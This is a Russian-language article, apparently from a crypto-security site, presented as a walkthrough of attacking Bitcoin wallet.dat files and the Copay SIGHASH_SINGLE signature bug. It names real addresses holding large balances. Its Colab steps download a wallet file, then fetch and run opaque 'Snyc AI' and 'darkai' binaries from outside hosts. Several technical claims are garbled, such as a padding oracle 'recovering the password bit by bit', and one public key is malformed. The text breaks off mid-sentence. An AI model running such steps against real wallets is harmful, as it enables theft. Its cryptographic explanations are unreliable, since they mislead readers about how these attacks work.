Bit-flipping attack на файл wallet.dat реализован через XOR с числом паддинга, что отличается от стандарта PKCS#7, где паддинг просто добавляется как отдельные байты. Такой XOR-подход не является безопасным и может привести к неверному шифрованию и потенциальным уязвимостям при расшифровке. Также в функции CBCDecrypt проверка и удаление паддинга реализована нестандартно и может быть уязвимой к таким типам атаки как: Bit-flipping attack & Padding oracle attack

Практическая часть

Перейдем к практической части из теории нам известна уязвимость с помощью которого можно реализовать Bit-flipping attack на файл wallet.dat , так как уязвимость возникает из-за использования фиксированного IV и нестандартной реализации паддинга в функциях CBCEncrypt и CBCDecrypt. Эти моменты критичны для безопасности режима CBC (Cipher Block Chaining) и могут быть истолкованы как «в строке с memcpy(mixed, iv, AES_BLOCKSIZE);» в функции CBCEncrypt и в блоке обработки паддинга.

Рассмотрим пример с использованием Bitcoin-кошелька по адресу: 16A5RFckRNW6fZzfjCGSneD3PApACLRwix. В данном кошельке были утеряны монеты на сумму 105.68557389 BTC, что на август 2025 года эквивалентно примерно 12,134,500 USD.

Для демонстрации атаки в ознакомительных целях используем инструменты и среды, такие как Jupyter Notebook или Google Colab. Сначала загружаем зашифрованный файл wallet.dat, содержащий информацию кошелька. Далее пошагово изменяем отдельные биты в блоках шифротекста и отправляем модифицированные версии системе для анализа её реакции.

Этот метод атаки, известный как Bit-flipping attack в контексте wallet.dat , представляет собой не просто случайное изменение данных, а сложный поэтапный процесс, при котором отбираются корректные изменения с учётом реакции системы на правильность паддинга (выравнивания) при расшифровке данных с использованием AES-256-CBC.

Используя такую стратегию, инструменты строят бинарное значение пароля, что в итоге позволяет получить пароль для расшифровки wallet.dat и доступ к Bitcoin Core без знания первоначального ключа шифрования. Эта атака основана на использовании уязвимости, называемой Padding Oracle Attack, которая эксплуатирует информацию об ошибках выравнивания при дешифровке, предоставляемую системой.

Основные инструменты и команды, применяемые для таких атак:

Google Colab (Colaboratory) — это облачная платформа, предоставляющая интерактивные Jupyter-ноутбуки, где можно писать и запускать код для различных языков программирование. Он особенно полезен для анализа данных, машинного обучения и работы с Snyc AI, так как предоставляет бесплатный доступ к мощным вычислительным ресурсам, таким как GPU и TPU. Важным преимуществом является возможность выполнять системные команды, как в обычном терминале Linux, через ячейки с префиксом ! для интеграции с внешними утилитами и скриптами.

Google Colab

https://colab.research.google.com/drive/1tCCSUtjl6seE9lqkFLcLodE96mj5uuHR

Bitcoin Core и установка bitcoind & bitcoin-cli

Обновление списков пакетов и установка системных зависимостей

!apt-get update
!apt-get install -y software-properties-common

Примечание:

• Первая команда обновляет локальный индекс доступных пакетов и их версий в системе Ubuntu, чтобы обеспечить актуальность данных при установке программ.

• Вторая команда устанавливает пакет software-properties-common, который предоставляет инструменты управления дополнительными репозиториями и зависимостями.

• C научным пониманием это подготовительный этап типичен при работе в любой Linux-среде, включая виртуальные. Обновление списков пакетов обеспечивает, что последующая установка программ будет использовать последние стабильные версии и зависимости, что важно для безопасности и совместимости ПО.

Добавление репозитория Bitcoin Core и установка bitcoind (вместе с bitcoin-cli)

Альтернативный способ: загрузка и распаковка бинарных файлов Bitcoin Core из архива

!wget https://bitcoin.org/bin/bitcoin-core-0.18.0/bitcoin-0.18.0-x...
!tar -xzf bitcoin-0.18.0-x86_64-linux-gnu.tar.gz

Примечание:

• add-apt-repository добавляет официальный PPA (Personal Package Archive) Bitcoin Core в систему — источник актуальных пакетов Bitcoin.

• После обновления индекса пакетов система устанавливает пакет bitcoind, который включает в себя демона биткоина (Bitcoin server) и клиентскую утилиту bitcoin-cli.

• Загружает архив с предсобранными бинарными файлами Bitcoin Core указанной версии.

• Распаковывает архив, извлекая байтовые файлы, включая bitcoind и bitcoin-cli.

С научной понимании Bitcoind — это полнофункциональный узел Bitcoin с серверной частью, который валидирует транзакции и блоки, поддерживает сеть и хранит блокчейн локально. bitcoin-cli — клиентский инструмент для взаимодействия с демоном через JSON-RPC интерфейс, управляя кошельками, транзакциями и запросами к блокчейну. Установка из PPA гарантирует корректную интеграцию и обновления. Такой способ позволяет получить необходимое программное обеспечение без зависимости от системных репозиториев, что бывает важно, если требуется определённая версия или если PPA недоступен в текущей среде. Это классический метод распространения программного обеспечения с гарантированным контролем версии и среды.

Команда cd переключается в директорию с бинарными файлами.

Выполнения команды — смена текущей рабочей директории на /content/bitcoin-0.18.0/bin, что подтверждается выводом пути.

cd bitcoin-0.18.0/bin/

Описание и действие:

• Команда cd (от английского «change directory» — сменить директорию) используется в операционных системах семейства Unix/Linux и в средах терминала, таких как Google Colab, для перехода из текущей рабочей директории в указанную директорию. В данном случае команда меняет текущую папку на директорию bin, которая находится внутри каталога bitcoin-0.18.0. Это позволяет перейти в папку, где, вероятно, находятся исполняемые файлы или скрипты, связанные с программным обеспечением Bitcoin версии 0.18.0.

• В контексте операционных систем, терминал или командная строка — это интерфейс, через который пользователь взаимодействует с системой, вводя текстовые команды. Текущая рабочая директория — это та папка в файловой системе, в рамках которой по умолчанию выполняются все команды, если не указано иное.

• Команда cd позволяет изменять эту рабочую директорию, что необходимо для организации удобного доступа к нужным файлам и папкам.

• Путь bitcoin-0.18.0/bin/ может быть как относительным (от текущего каталога), так и абсолютным (начинающимся с корня /). В Google Colab корневая директория по умолчанию — /content/, и при работе с проектами часто структура каталогов отражает вложенность программного обеспечения или данных.

• Перемещение в директорию bin обычно связано с необходимостью получения доступа к бинарным файлам (исполняемым программам), которые расположены в этом каталоге. Это позволяет выполнять команды или скрипты, входящие в состав программного продукта, например, запускающих узлы биткоина, тестирующих сеть или работающих с кошельками.

• Таким образом, выполнение команды cd bitcoin-0.18.0/bin/ задаёт контекст выполнения для дальнейшей работы с компонентами Bitcoin Core 0.18.0 внутри Google Colab.

Проверка установки bitcoin-cli

!./bitcoin-cli --version

Описание:

• Запускает команду bitcoin-cli из локальной директории для проверки работоспособности и версии утилиты. При правильном выполнении выведет строку с информацией о версии клиента.

• Запуск бинарных файлов из локальной директории — стандартная практика при ручной установке ПО. В Colab и других облачных средах это удобно для использования специфичных версий без системной установки.

• Контроль версии важен для совместимости с сетевым протоколом и ожидаемой функциональностью, а также для отладки при возникновении ошибок.

Результат:

Bitcoin Core RPC client version v0.18.0

Результат выводит версию установленной утилиты bitcoin-cli, проверяя успешность установки и доступность команды для вызова.

Загрузка файлов wallet.dat & aes.cpp

Запустим команду для загрузки файла wallet.dat

!wget https://github.com/keyhunters/Biggest-Lost-Bitcoin-Wallets-List/raw/refs/heads/main/105.68 BTC/wallet.dat

Описание и действие:

• Команда wget служит для скачивания файлов из интернета по протоколу HTTPS.

• Здесь мы загружаем файл wallet.dat – это бинарный файл, хранящий зашифрованные приватные ключи, адреса и другую критически важную информацию Bitcoin Core кошелька.

• Файл wallet.dat зашифрован с использованием стандарта AES-256-CBC, где приватные ключи защищены с помощью мастер-ключа и пароля.

• Такой файл используется для управления и хранения средств в Bitcoin. В ходе научного исследования и атак, например padding oracle, этот файл анализируется и модифицируется для восстановления утерянных паролей или ключей.

В научное понимание файл wallet.dat играет роль защищённого контейнера для криптографических ключей, и его целостность и конфиденциальность обеспечиваются алгоритмами шифрования, основанными на AES. Загрузка файла позволяет работать с реальными данными кошелька, что необходимо для исследований уязвимостей и тестирования методов криптоанализа, например, подобных атакам на padding oracle.

Запустим команду для загрузки файла алгоритма aes.cpp

!wget https://github.com/keyhunters/bitcoin/raw/refs/heads/master/...

Описание и действие:

• Команда загружает исходный файл aes.cpp, содержащий исходный код реализации AES алгоритма шифрования, используемый в Bitcoin Core.

• Этот файл важен для понимания того, как именно происходит шифрование и дешифровка данных в wallet.dat.

• Исходный код помогает исследователям понять логику применения AES-256-CBC, применение выравнивания (padding), фиксирование ошибок и особенности реализации криптоалгоритмов.

• Такой код можно использовать в Jupyter Notebook или Google Colab для написания собственных скриптов дешифровки или моделирования атак.

В научное понимание криптоанализ исходного кода AES алгоритма позволяет глубоко понять принципы работы симметричного шифрования в Bitcoin Core, особенности режима CBC (Cipher Block Chaining), важность корректного паддинга и потенциальные уязвимости, которые могут использоваться при атаке padding oracle. Это способствует более научно обоснованной разработке методов восстановления паролей и ключей.

Общие научные сведения по контексту:

• AES-256-CBC: Способ симметричного блочного шифрования, где применяются операции XOR с предыдущим зашифрованным блоком (CBC — Cipher Block Chaining) для повышения безопасности. Паддинг (выравнивание) данных на последнем блоке обеспечивает корректную длину входа.

• wallet.dat: Хранит зашифрованные приватные ключи и метаданные. Пароль пользователя используется для генерации ключа шифрования мастер-ключа с помощью функции, как EVP_BytesToKey OpenSSL, что увеличивает стойкость шифра.

• Padding Oracle Attack: Хакерская атака, эксплуатирующая наличие подробных сообщений об ошибках при неверном паддинге, что постепенно позволяет взломать ключ шифрования.

• Анализ исходного кода aes.cpp: Ключ для понимания реализации шифра и корректного построения атак, изучения уязвимостей и разработки средств их предотвращения.

Запуск биткоин-демона bitcoind с указанием кошелька

!./bitcoind -daemon -wallet=/content/bitcoin-0.18.0/bin/wallet.dat

Запускаем биткоин-демон в фоновом режиме (-daemon) и указывает использовать конкретный файл кошелька wallet.dat, расположенный в указанном пути. Bitcoind — основной компонент для взаимодействия с сетью Bitcoin. Демон обрабатывает все сетевые операции, хранит полный локальный блокчейн и управляет кошельком. Запуск с указанием файла wallet.dat позволяет работать с конкретным зашифрованным кошельком (ключами и адресами), что важно для анализа состояния и управления средствами.

• Запуск демона Bitcoin Core (bitcoind) в фоновом режиме. Демон — это серверная часть программного обеспечения Bitcoin Core, которая синхронизируется с сетью Биткоин, загружает блокчейн, обрабатывает транзакции и поддерживает работу узла в сети. Ключ -daemon означает, что процесс запустится в фоновом режиме и не будет блокировать консоль, позволяя вам продолжать работу в терминале.

• Результат в терминале обычно минимальный — команда запускается, и управление сразу возвращается пользователю, без дополнительных сообщений. Логи и процессы работы демона будут записываться в системные логи или в файлы логов Bitcoin Core в каталоге данных (обычно ~/.bitcoin). Если запуск удался, процесс bitcoind будет активен в фоне и поддерживать сетевое взаимодействие с другими узлами блокчейна.

• Научное понимание: запуск демона bitcoind является ключевым этапом в работе полноценного узла (full node) сети Биткоин. Узел обеспечивает децентрализованность и безопасность сети, проверяя все транзакции и блоки с использованием криптографических алгоритмов и протоколов консенсуса. Фоновый режим позволяет узлу непрерывно поддерживать актуальное состояние блокчейна, выполнять валидацию данных и откликаться на запросы через JSON-RPC интерфейс для взаимодействия с другими программами и пользователем.

• ./bitcoind — запускает исполняемый файл демона bitcoind из текущего каталога (использование ./ указывает, что файл находится в текущей директории).

• -daemon — параметр запуска, переводящий процесс в фоновый режим (демон) без блокировки терминала.

Команда ./bitcoind -daemon позволяет развернуть работающий Bitcoin узел, поддерживающий сеть, с автоматической синхронизацией данных и откликом на RPC-запросы, что является фундаментом для работы с криптовалютой на локальной машине Google Colab.

Данный набор команд в Google Colab предоставляет полный цикл установки и запуска инструментов Bitcoin Core (bitcoin-cli и bitcoind), необходимых для управления криптовалютой и проведения исследований (в том числе атак или восстановления доступа), в условиях облачной вычислительной среды. Основываясь на этих шагах, исследователь получает программный интерфейс для взаимодействия с сетью и локальным wallet.dat через RPC команды, что критично для научных и практических задач в криптографии и блокчейне.

Инструмент для криптоанализа Snyc AI

Загрузка и установка инструмента Snyc AI

Подробное описание всех команд и действий терминала

Команды:

!wget https://snyc.ru/repositories/neuralnet_tools.zip

Команда wget — это мощная консольная утилита для загрузки файлов из сети через протоколы HTTP, HTTPS и FTP. Здесь она используется для загрузки архива neuralnet_tools.zip с сервера по указанному URL. Команда wget работает в неинтерактивном режиме, что позволяет скачивать файлы без участия пользователя, включая возможность возобновления прерванных загрузок. Это особенно важно при работе с большими файлами или нестабильным интернет-соединением. Его кроссплатформенность и простота делают wget незаменимым инструментом для автоматизации и управления загрузками в научных вычислениях и обработки данных.

Эта команда извлекает все файлы из neuralnet_tools.zip:

!unzip neuralnet_tools.zip

Команда unzip распаковывает содержимое ZIP-архива в текущую рабочую директорию. Формат ZIP широко используется для сжатия и архивирования данных без потерь, что помогает экономить дисковое пространство и облегчать передачу больших наборов файлов. Распаковка архива позволяет получить доступ к инструментам и скриптам, которые находятся внутри, для дальнейшего использования в задачах анализа или декодирования. Этот этап — стандартная процедура при подготовке программного обеспечения к использованию в средах разработки и исследовательских проектах.

Запустим команду ls для быстрого и удобного просмотра:

ls

Команда ls выводит список файлов и папок в текущей директории. Эта базовая Unix-команда служит для проверки содержимого каталога, помогая убедиться в успешной загрузке и распаковке архива. В контексте научных исследований или программирования она облегчает навигацию по файловой системе и подтверждение наличия нужных данных или инструментов.

Запуск инструмента Snyc AI:

!./snyc

Запуск инструмента Snyc AI в Google Colab позволяет использовать алгоритмы глубокого сканирования и восстановления данных, таких как секретные и приватные ключи для различных криптокошельков, с помощью методов искусственного интеллекта. Такие технологии основаны на машинном обучении и нейронных сетях, что обеспечивает высокую точность и безопасность при криптоанализе критически важных данных.

Если будете запускать эти команды в Google Colab, важно помнить, что:

• Префикс ! позволяет выполнять системные (shell) команды непосредственно из ячеек программирования. Это делает Colab мощной платформой для гибридного использования различных языков программирование и командной строки.

• При работе с внешними архивами и утилитами полезно проверять права доступа и содержимое файлов для безопасности и совместимости.

• Инструмент Snyc AI является специализированным программным обеспечением для анализа криптографических данных, использующим современные возможности ИИ и нейросетей для повышения эффективности и надежности.

• Опубликованы две части [№1] , [№2] исследования

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Crypto Tools

Исходный код

Google Colab

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/3uCsL_zxKPI

Video tutorial: https://dzen.ru/video/watch/68baca013761775f268041dc

Источник: https://cryptodeeptool.ru/bit-flipping-attack-on-wallet-dat

Ранее нами были опубликованы две части [№1] и [№2] исследования, посвящённого серьёзной криптографической угрозе — подделке цифровых подписей (Digital Signature Forgery), которая ставит под угрозу безопасность Bitcoin-транзакций. В статьях проведён детальный анализ реальных инцидентов, в том числе масштабной атаки на мультиподписной кошелек Copay. Особенное внимание уделяется уязвимым местам в цифровых подписях и популярной библиотеке xml-crypto, которая используется для верификации транзакций. Благодаря этим уязвимостям злоумышленники могут обходить ключевые проверки и нарушать корректность обработки транзакционных данных.

В работе рассматриваются две критические уязвимости CVE-2025-29774 и CVE-2025-29775, позволяющие атакующим, использующим устаревшие версии xml-crypto, эксплуатировать слабости систем безопасности. Приводится пример конкретного взлома биткоин-кошелька с адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe, в результате которого в июле 2025 года было похищено 0.059672 BTC (~7 052 USD). Данный кейс иллюстрирует, как теоретические уязвимости реализуются на практике и приводят к реальным финансовым потерям.

В статье предложены рекомендации по укреплению безопасности криптовалютных платформ: необходимость своевременного обновления используемых библиотек, улучшение механизмов контроля цифровых подписей и внедрение дополнительных уровней проверки транзакций. Подробный разбор этой угрозы и её эволюции будет полезен специалистам по информационной безопасности, разработчикам блокчейн-решений и всем пользователям децентрализованных сервисов.

Осознание современных методов обхода защит и реализация предложенных рекомендаций помогут снизить риски финансовых потерь и повысить прозрачность и надёжность криптовалютных экосистем в условиях стремительно развивающихся цифровых технологий.

Какие особенности и ограничения есть у OP_CHECKMULTISIG при проверке нескольких подписей. Рассмотрим ключевые аспекты и ограничения:

1. Пороговое подтверждение подписей
   OP_CHECKMULTISIG позволяет указать число необходимых подписей T из общего числа публичных ключей N (схема «T из N»). Например, 2 из 3. Для действительности транзакции достаточно иметь T валидных подписей.

2. Верификация нескольких подписей за одну операцию
   В отличие от одиночной проверки подписи (OP_CHECKSIG), OP_CHECKMULTISIG проверяет сразу несколько подписей, соотнося их с соответствующими публичными ключами, что повышает эффективность и удобство реализации мультиподписных кошельков.

3. Использование redeemScript для условия траты
   В формате P2SH мультиподписная схема скрыта под хешем redeemScript — полного скрипта с публичными ключами и параметрами. Для траты средства пользователь обязан представить redeemScript и соответствующие подписи.

4. Исторический баг — лишний элемент в стеке
   Особенность OP_CHECKMULTISIG — при выполнении из стека удаляется лишний, неиспользуемый элемент (признак «off-by-one» ошибки реализации). Для компенсации в scriptSig добавляется фиктивный элемент OP_FALSE в начале, чтобы корректно выровнять стек. Это признанная и усвоенная сообществом особенность.

Пример из реальной транзакции

Рассмотрим транзакцию с тремя входами, где из скриптов подписей (scriptSig) двух из них были извлечены подписи, оканчивающиеся байтом 0x03, указывающим на SIGHASH_SINGLE — то есть подписи, которые подписывают только пару соответствующих входов и выходов. Однако здесь наблюдается ситуация: вход с индексом 2 не имеет соответствующего выхода с таким же индексом.

791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Raw Transaction

Типы SIGHASH в Bitcoin — это продуманный механизм управления уровнем контроля и сферы действия цифровых подписей внутри транзакций. Благодаря им достигается баланс между безопасностью, гибкостью и совместимостью. История включает в себя и неожиданные сложности, такие как баг с SIGHASH_SINGLE при отсутствии соответствующего выхода, что подчеркивает важность глубокого понимания технических тонкостей для успешной работы с Bitcoin на продвинутом уровне.

Как неправильное использование SIGHASH_ALL может привести к уязвимостям в транзакциях

Неправильное использование или отсутствие корректной реализации SIGHASH_ALL в подписи транзакций Bitcoin может привести к серьезным уязвимостям, влияющим на безопасность средств и целостность системы. Вот ключевые аспекты этих уязвимостей:

1. Signature Malleability (изменчивость подписи):
   Хотя SIGHASH_ALL подразумевает, что все входы и выходы транзакции подписаны, за счет особенностей алгоритма ECDSA возможна ситуация, когда одна и та же транзакция может иметь несколько различных, но при этом валидных подписей. Это связано с тем, что компонента подписи s может принимать эквивалентные значения. Злоумышленник может модифицировать подпись, не изменяя содержимого транзакции, что приводит к тому, что идентификатор транзакции (txid) меняется. В результате это усложняет отслеживание транзакций, создает трудности в реплей-атаке, а также может быть использовано для мошенничества или двойного расходования.

2. Ошибки при десериализации подписей (DeserializeSignature):
   Если функция проверки подписи (включая SIGHASH_ALL) не обрабатывает корректно структуру подписи, например, не проверяет корректность значений r и s (должны находиться в допустимых диапазонах и не быть нулевыми), это позволяет злоумышленникам создавать недействительные, но системой принимаемые подписи. Через такие поддельные подписи возможна авторизация несанкционированных транзакций, кража средств, двойное расходование и искажение данных в блокчейне.

3. Недостаточная валидация параметров подписи:
   Некорректная или неполная проверка подписи с флагом SIGHASH_ALL, например, игнорирование или неверная обработка завершающего байта, может приводить к тому, что транзакции с некорректным покрытием подписываемых элементов (входов и выходов) будут проходить валидацию. Это открывает двери для атак, в которых злоумышленник манипулирует частями транзакции, отключая защиту или расширяя свои права.

4. Атаки типа Replay и трансакционная коллизия:
   Из-за возможности изменения подписи без изменения содержимого транзакции (см. Signature Malleability), одна транзакция может быть использована повторно или создана коллизия, что создает риск двойных расходов или финансовых потерь.

Таким образом, неправильное использование SIGHASH_ALL или ошибки в реализации его проверки значительно подрывают безопасность Bitcoin-сети, позволяя злоумышленникам манипулировать подписями и транзакциями. Для борьбы с этими уязвимостями внедряются строгие проверки формата и диапазонов подписей, используются улучшенные протоколы (например, SegWit устраняет часть проблем с изменчивостью подписей), а также стандартизируются безопасные методы подписания и валидации транзакций.

Некорректная подпись с типом SIGHASH_ALL увеличивает риск двойных расходов в Bitcoin по следующим причинам:

При использовании SIGHASH_ALL подпись охватывает все входы и выходы транзакции, гарантируя, что ни один элемент транзакции не может быть изменён после подписания. Однако, если подпись сформирована некорректно, например, из-за ошибок в генерации случайного числа или формировании самих параметров подписи (r, s), это может привести к тому, что часть транзакции может быть изменена без аннулирования подписи. В частности, возникает уязвимость, при которой злоумышленник может изменить отдельные поля или структуру транзакции, создав вариации, которые принимаются сетью как валидные, но отличаются от оригинала.

Такая изменчивость подписи (Signature Malleability) позволяет злоумышленникам создавать альтернативные версии транзакции с другим идентификатором (txid), что затрудняет отслеживание и подтверждение оплат, а в некоторых случаях ведёт к повторному использованию тех же входов — т.е. к двойным расходам.

Кроме того, если реализация валидации подписей с SIGHASH_ALL не жестко проверяет корректность параметров подписи и формат данных, злоумышленник может выдавать фальшивые подписи или использовать баги протокола для обхода проверок. Это оставляет открытую возможность для манипуляций и создания конфликтных транзакций.

Таким образом, чтобы снизить риски двойных расходов, критически важно правильно генерировать и валидировать подписи с SIGHASH_ALL, применять методы защиты от signature malleability (например, SegWit), а также обновлять программное обеспечение и соблюдать рекомендации по безопасности. Это обеспечивает закрепление подписи на всей структуре транзакции, гарантирует её неизменность и устойчивость к злоупотреблениям.

Получим информацию о публичных ключах, связанных с Биткоин-адресом 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe. Далее представлен подробный и содержательный разбор полученных данных.

!./darkai -pubkey 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Полученные публичные ключи:

В результате работы команды был извлечён список из трёх публичных ключей в сжатом формате (compressed public key), представленных в шестнадцатеричном виде:

pubkey = [
'023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d9f359e37e39f0561196',
'03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80',
'03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df'
]

• Публичные ключи: Каждый из элементов — это публичный ключ пользователя в формате compressed public key длиной 33 байта. Сжатые ключи обычно начинаются с префикса 02 или 03, указывая на знак координаты точки (Y) на эллиптической кривой, и за ним следует 32 байта X-координаты.

• Связь с адресом: Адрес Bitcoin — это хэш от скрипта или публичного ключа. В данном случае адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe соответствует некоторому P2SH (Pay-to-Script-Hash) или мультиподписному адресу, для которого характерно хранение сразу нескольких публичных ключей в redeemScript. Список публичных ключей соответствует набору, заложенному в этом сафе.

Набор из нескольких публичных ключей — классическая ситуация для мультиподписного кошелька (multisig wallet). В таком случае чтобы потратить средства потребуется несколько подписей от соответствующих приватных ключей:

• Данный список публичных ключей позволяет определить, какие ключи имеют право подписывать транзакции с этим адресом.

• Обычно мультиподпись формируется по схеме M-of-N, например, 2 из 3, где N — общее количество ключей, а M — минимальное число необходимых подписей для расходования.

• Использование нескольких ключей повышает безопасность, т.к. компрометация одного ключа не приводит к утрате контроля над средствами.

• Каждый публичный ключ можно проверить отдельно или в комбинации, чтобы подтвердить законность подписей.

Сжатые публичные ключи

• Принцип сжатия позволяет уменьшить длину публичного ключа с 65 байт (не сжатый формат) до 33 байт, что экономит место в транзакциях и блоках.

• Сжатый ключ содержит информацию о X-координате точки на эллиптической кривой и знак Y-координаты.

Применение в redeemScript

• В контексте мультиподписи эти публичные ключи обычно включены в redeemScript, который применяется в P2SH-сценариях.

• Для подтвердить право траты средств необходимо предоставить подписи, соответствующие минимально необходимому количеству ключей из этого набора.

Биткоин адрес 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe связан с тремя конкретными публичными ключами в формате сжатых ключей. Это типично для мультиподписных биткоин-адресов, где для авторизации расхода необходимо предоставить подписи с использованием некоторых или всех этих ключей, что обеспечивает высокий уровень безопасности и гибкость управления средствами.

Для более глубокого анализа и понимания параметров можно дополнительно изучить:

• Конкретный формат redeemScript, с которым связан этот набор приватных и публичных ключей.

• Политику подписей (сколько подписей из этих трёх требуется).

• Историю транзакций, связанных с этим адресом.

Публичные ключи 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Публичный ключ 023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f0561196 является одним из элементов, используемых в мультиподписном кошельке BitPay Copay, который был целью атаки, связанной с уязвимостью в обработке типа подписи SIGHASH_SINGLE

Этот публичный ключ, вместе с двумя другими (03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 и 03ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df), входит в состав redeemScript кошелька Copay, который является кошельком с мультиподписью «2 из 3«. Для траты средств с такого адреса необходимо предоставить две действительные подписи и сам redeemScript.

RedeemScript, который содержит эти три публичных ключа, при декодировании даёт следующие инструкции: 2 <pubkey1> <pubkey2> <pubkey3> 3 OP_CHECKMULTISIG. Это означает, что для проверки мультиподписи требуется две подписи из трёх возможных ключей. OP_CHECKMULTISIG проверяет каждую пару подписи и публичного ключа на достоверность, чтобы все подписи соответствовали одному из публичных ключей. Инструкция OP_FALSE в scriptSig требуется из-за известной ошибки, при которой OP_CHECKMULTISIG удаляет лишнее неиспользуемое значение из стека.

Кошелек Copay, разработанный BitPay, подвергся атаке, подробности которой были раскрыты компанией Coinspect. Эта атака эксплуатировала особенности типа подписи SIGHASH_SINGLE, который подписывает только соответствующий вход и выход (выход с тем же порядковым номером, что и вход). Если выход с таким индексом не существует, в качестве хэша транзакции будет возвращено целочисленное значение «один», что является известным багом, где OP_CHECKMULTISIG проводит проверку подлинности двух подписей из трёх публичных ключей.

Этот мультиподписной набор оказался в центре внимания из-за уязвимости, выявленной компанией Coinspect. Уязвимость связана с особенностями использования в транзакциях типа подписи SIGHASH_SINGLE (0x03), при котором подпись охватывает все входы и ровно один выход транзакции с индексом, совпадающим с индексом входа. Важно отметить если выход с таким индексом отсутствует (а в некоторых случаях их меньше, чем входов), из-за бага Bitcoin хэш для подписи возвращается в виде целого числа «1». Это позволяет создавать транзакции, расходующие выходы без знания приватных ключей, что открывает дверь для кражи средств из мультиподписного кошелька.

Таким образом, публичный ключ 03d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b80 является ключевым компонентом уязвимого мультиподписного кошелька Copay, участие которого в составном redeemScript дает определённые преимущества с точки зрения безопасности, но вместе с тем стал объектом экспериментов и атак, иллюстрирующих важность корректной обработки всех типов подписей в Bitcoin.

Выполним команду в котором получим обработанные две цифровые подписи в формате DER, ассоциированные с указанным Биткоин-адресом:

!./darkai -decodesig 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

В итоге мы извлекаем результат:

decodesig = [der_decode_sig('3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903'), der_decode_sig('304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803')]

Расшифровка цифровых подписей

В переменной sigs хранятся две расшифрованные подписи, полученные через функцию der_decode_sig из их DER-кодированной формы:

1. Первая подпись:

3045022100dfcfafcea73d83e1c54d444a19fb30d17317f922c19e2ff92dcda65ad09cba24022001e7a805c5672c49b222c5f2f1e67bb01f87215fb69df184e7c16f66c1f87c2903

1. Вторая подпись:

304402204a657ab8358a2edb8fd5ed8a45f846989a43655d2e8f80566b385b8f5a70dab402207362f870ce40f942437d43b6b99343419b14fb18fa69bee801d696a39b3410b803

Формат DER (Distinguished Encoding Rules) — стандартный способ кодирования структур для ECDSA-подписей в Bitcoin, который гарантирует уникальное и корректное представление параметров подписи r и s.

Уязвимость SIGHASH_SINGLE и ее суть

Проблема возникает, когда в транзакции число входов превышает число выходов. В этом случае для входа, чей индекс превышает последний номер выходов, отсутствует соответствующий выход, который мог бы подписать SIGHASH_SINGLE.

На практике реализация Bitcoin допускает ошибочное поведение — возвращается константа с числом один (int 1) вместо хеша транзакции. Это эквивалентно тому, что для подписи вместо вычисляемого хеша берётся фиксированное значение. Из-за этого злоумышленник может подделать scriptSig и использовать действительные подписи из другой транзакции для входов с отсутствующими выходами, повторно расходуя средства без знания приватных ключей.

Иными словами, атака позволяет создать транзакцию с одним выходом под контролем злоумышленника, расходуя входы из целевых транзакций, даже несмотря на отсутствие приватных ключей для подписи исходных выходов. Эта «повторная» подпись scriptSig становится легитимной для сети, что приводит к краже монет BTC.

Кошелек Copay — стал одним из первых выявленных жертв криптографической атаки подделки цифровой подписи (Digital Signature Forgery Attack). Анализ состояния транзакций показал, что:

• Использование SIGHASH_SINGLE позволяло злоумышленникам контролировать средства, распределённые на мультиподписном кошельке 2 из 3.

• Это означало, что два входа транзакций с индексами больше, чем количество выходов, могли быть фактически потрачены без приватных ключей.

• Кража происходила путём создания транзакции с единственным выходом на контролируемый злоумышленником адрес.

Пути минимизации угрозы и дальнейшее развитие протокола

1. Изоляция скриптов и виртуальная машина
   Предлагались решения по выделению отдельных виртуальных сред для мультиподписных кошельков, чтобы ограничить сферу воздействия возникающих уязвимостей.

2. Использование SIGHASH_ANYONECANPAY
   Этот дополнительный флаг позволяет более гибко регулировать, какие именно входы подпадают под подпись, что снижает риски неправильного связывания транзакций.

3. Softfork и внедрение новых sighash-флагов
   Современные предложения, такие как SIGHASH_NOINPUT и технические обновления для протокола, позволяют улучшить безопасность и гибкость транзакций второго уровня, например, в Lightning Network (LN-Symmetry, Eltoo).

4. Переход на схему подписей Шнорра и обновление Taproot
   Новые криптографические методы обеспечивают более надёжную и компактную защиту подписей и позволяют эффективнее реализовывать мультиподписи с минимальными уязвимостями.

Проблема с SIGHASH_SINGLE выявила критический недостаток в механизме подписей Bitcoin, раскрывающий возможность краже средств за счёт повторного использования подписей на входах без соответствующих выходов. Эта уязвимость стала важным уроком и толчком к развитию протокола, стимулируя разработчиков к внедрению более надёжных стандартов. Современные разработки в области Bitcoin, такие как новые sighash-флаги, softfork-обновления, Lightning Network и переход на более безопасные схемы подписей, направлены на предотвращение подобных атак и повышение безопасности пользователей.

Понимание такого уровня технических деталей крайне важно для разработчиков, операторов кошельков и экспресс-аналитиков, работающих с криптовалютами, чтобы обеспечить уверенную защиту активов в постоянно развивающемся пространстве блокчейн-технологий.

Неизрасходованные транзакционные выходы монет на Биткоин Адрес под контроль злоумышленника

Выполним команду, чтобы получить информацию о неизрасходованных выходах транзакций (UTXO), находящихся под контролем адреса 1Lyafe8mSqubnynbAWPcXbHE5pnHMzEnT3

